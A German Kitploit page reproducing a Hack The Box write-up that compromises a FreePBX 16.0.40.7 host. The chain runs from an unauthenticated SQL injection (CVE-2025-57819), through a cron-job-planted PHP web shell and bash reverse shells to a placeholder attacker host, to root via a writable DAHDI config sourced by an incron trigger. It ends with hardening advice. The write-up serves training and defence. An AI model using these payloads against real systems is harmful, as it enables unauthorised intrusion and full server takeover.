Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
FreePBX-SQLi-Exploit-Privilege-escalation — Dieser Walkthrough dokumentiert die vollständige Kompromittierung der HTB-Maschine Connected. | Kitploit
Tools/GitHubGitHub/itsc1sco/freepbx-sqli-exploit-privilege-escalation
Privilege EscalationSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & Bildung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
itsc1sco/freepbx-sqli-exploit-privilege-escalation

FreePBX-SQLi-Exploit-Privilege-escalation

Dieser Walkthrough dokumentiert die vollständige Kompromittierung der HTB-Maschine Connected.

Repository anzeigen
1vor 20 TagenNoch nicht geprüft

FreePBX: Von unauthentifizierter SQL-Injection zur Root-Shell

CVE-2025-57819 • FreePBX 16.0.40.7 • HTB Connected


📋 Executive Summary

Dieser Walkthrough dokumentiert die vollständige Kompromittierung der HTB-Maschine Connected.

Die Angriffskette beginnt mit einer unauthentifizierten SQL-Injection-Schwachstelle in FreePBX, die genutzt wird, um über einen manipulierten Cron-Job Code-Ausführung als Benutzer asterisk zu erlangen. Eine beschreibbare Konfigurationsdatei in Kombination mit einem incron-Trigger ermöglicht anschließend die Privilegienausweitung auf root.

Dieser Fall zeigt, wie Schwachstellen in Webanwendungen, kombiniert mit schwachen lokalen Berechtigungen und unsicherer privilegierter Automatisierung, zur vollständigen Systemkompromittierung führen können.


🔍 Schritt 1 – Enumeration & Virtual-Host-Erkennung

Ein schneller Portscan zeigt die offenen Ports des Ziels:

root@kitploit:~
nmap -T5 --open <MACHINE_IP>
PortDienst
22SSH
80HTTP
443HTTPS

Weitere Untersuchungen zeigen einen Apache-Server mit PHP 7.4, der eine HTTP-Weiterleitung auf folgende Adresse durchführt:

root@kitploit:~
http://connected.htb/

Um die Website korrekt aufzurufen, muss die Virtual-Host-Zuordnung hinzugefügt werden:

root@kitploit:~
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts

Ein Aufruf von http://connected.htb/ zeigt:

root@kitploit:~
FreePBX 16.0.40.7

🕳️ Schritt 2 – Ausnutzung von CVE-2025-57819 (SQL-Injection)

Die Recherche identifiziert CVE-2025-57819, eine unauthentifizierte, fehlerbasierte SQL-Injection-Schwachstelle in der FreePBX-Endpoint-Manager-Komponente.

Bestätigen Sie die Schwachstelle, indem Sie den Datenbankbenutzer extrahieren:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"

Die Antwort enthält:

root@kitploit:~
~USER:freepbxuser@localhost~

Dies bestätigt, dass die SQL-Injection funktioniert und die Anwendung sich als folgender Benutzer mit MySQL verbindet:

root@kitploit:~
freepbxuser@localhost

⚙️ Schritt 3 – Erlangen von Code-Ausführung über geplante Aufgaben

FreePBX speichert geplante Jobs in der Tabelle cron_jobs.

Durch das Injizieren eines bösartigen Eintrags in diese Tabelle können beliebige Befehle zur Ausführung eingeplant werden.

Der folgende Payload erstellt eine PHP-Web-Shell im Web-Root:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "

Der Server gibt einen generischen 500-Fehler zurück, aber die SQL-Anweisung wird erfolgreich ausgeführt.

Nach etwa einer Minute kann überprüft werden, ob die Web-Shell erstellt wurde:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=id"

Ausgabe:

root@kitploit:~
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

Wir haben nun über HTTP-Anfragen Code-Ausführung als Benutzer asterisk.


💻 Schritt 4 – Aufbau einer interaktiven Reverse-Shell

Starten Sie einen Netcat-Listener auf der Angreifer-Maschine:

root@kitploit:~
nc -lvnp 4444

Lösen Sie eine Bash-Reverse-Shell über die Web-Shell aus:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"

Eine Verbindung wird hergestellt:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)

Wir haben nun eine interaktive Shell als Benutzer asterisk.


🔎 Schritt 5 – Lokale Enumeration & Pfad zur Privilegienausweitung

Suchen Sie nach beschreibbaren Dateien unter /etc, wobei bekannte Fehlalarme ausgeschlossen werden:

root@kitploit:~
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20

Ein bemerkenswertes Ergebnis ist:

root@kitploit:~
/etc/dahdi/init.conf

Untersuchen Sie als Nächstes die incron-Konfiguration:

root@kitploit:~
cat /etc/incron.d/*

Dies zeigt den folgenden Dateisystem-Watcher:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Das bedeutet, dass immer dann, wenn die Sentinel-Datei:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart

beschrieben wird, das folgende Skript ausgeführt wird:

root@kitploit:~
/usr/sbin/sysadmin_dahdi_restart

Die Untersuchung des Skripts zeigt, dass es folgende Datei einbindet (sourced):

root@kitploit:~
/etc/dahdi/init.conf

Da /etc/dahdi/init.conf vom Benutzer asterisk beschreibbar ist und von einem Root-Prozess eingebunden wird, bietet dies einen Pfad zur Ausführung beliebiger Befehle als root.


🚀 Schritt 6 – Ausweitung auf Root über DAHDI

Starten Sie einen zweiten Netcat-Listener auf Port 4445:

root@kitploit:~
nc -lvnp 4445

Fügen Sie aus der asterisk-Shell einen Reverse-Shell-Payload an die beschreibbare Konfigurationsdatei an:

root@kitploit:~
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf

Lösen Sie die incron-Aktion aus, indem Sie in die überwachte Datei schreiben:

root@kitploit:~
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart

Innerhalb von Sekunden verbindet sich die Root-Shell:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)

🎯 Vollständiger Root-Zugriff erreicht!


🏁 Schritt 7 – Erfassen der Flags

User-Flag

root@kitploit:~
cat /home/asterisk/user.txt

Ausgabe:

root@kitploit:~
HTB{...user_flag...}

Root-Flag

root@kitploit:~
cat /root/root.txt

Ausgabe:

root@kitploit:~
HTB{...root_flag...}

📚 Zusammenfassung der Angriffskette

root@kitploit:~
Unauthentifizierte SQL-Injection
            │
            ▼
     MySQL-Abfrageausführung
            │
            ▼
   Bösartigen Cron-Job einfügen
            │
            ▼
      PHP-Web-Shell
            │
            ▼
      asterisk-Shell
            │
            ▼
 Beschreibbare /etc/dahdi/init.conf
            │
            ▼
       incron-Trigger
            │
            ▼
      Root-Befehlsausführung
            │
            ▼
          root

📊 Erkenntnisse

SchwachstelleAuswirkung
Unauthentifizierte SQL-InjectionLegte den Datenbank-Benutzerkontext offen und bot einen Einstiegspunkt zum Schreiben bösartiger Daten
Cron-Job-InjectionErmöglichte Remote-Code-Ausführung als Dienstkonto mit niedrigen Rechten

🔐 Empfehlungen

1. Benutzereingaben validieren

Verwenden Sie parametrisierte Abfragen und strenge Eingabevalidierung für alle Datenbankoperationen.

Benutzergesteuerte Eingaben dürfen niemals direkt in SQL-Abfragen verkettet werden.

2. Berechtigungen für Konfigurationsdateien einschränken

Konfigurationsdateien, die von privilegierten Diensten verwendet werden, sollten für Dienstkonten mit niedrigen Rechten nicht beschreibbar sein.

Überprüfen Sie insbesondere die Berechtigungen von Dateien unter:

root@kitploit:~
/etc/

3. Cron- und Incron-Jobs überprüfen

Auditieren Sie regelmäßig geplante Aufgaben und Dateisystem-Watcher.

Privilegierte Jobs sollten keine Befehle auf Grundlage von Dateien ausführen, die nicht vertrauenswürdige Benutzer ändern können.

4. Einbinden nicht vertrauenswürdiger Konfigurationen vermeiden

Root-eigene Skripte sollten vermeiden, Konfigurationsdateien einzubinden, die von unprivilegierten Benutzern geändert werden können.

5. Prinzip der geringsten Rechte anwenden

Webanwendungen und Dienste sollten mit den minimalen Berechtigungen ausgeführt werden, die für ihren Betrieb erforderlich sind.

Die Reduzierung der Privilegien der FreePBX/Apache-Umgebung kann die Auswirkungen einer erfolgreichen Anwendungskompromittierung erheblich begrenzen.


🏆 Finale Angriffskette

root@kitploit:~
CVE-2025-57819
      │
      ▼
Unauthentifizierte SQL-Injection
      │
      ▼
Manipulation der cron_jobs-Tabelle
      │
      ▼
Geplante PHP-Web-Shell
      │
      ▼
asterisk-Benutzer
      │
      ▼
Beschreibbare /etc/dahdi/init.conf
      │
      ▼
incron-Dateisystem-Watcher
      │
      ▼
Privilegiertes DAHDI-Skript
      │
      ▼
Root-Shell
      │
      ▼
🏆 Vollständige Systemkompromittierung

Haftungsausschluss: Dieser Write-up dient Bildungszwecken und autorisierten Sicherheitstests, wie Hack-The-Box-Labore und kontrollierten Umgebungen.

Tool herunterladen
Beschreibbare Konfigurationsdatei + incronErmöglichte direkte Privilegienausweitung auf root
Privilegiertes Skript bindet benutzerbeschreibbare Datei einErmöglichte die Ausführung beliebiger Befehle mit Root-Rechten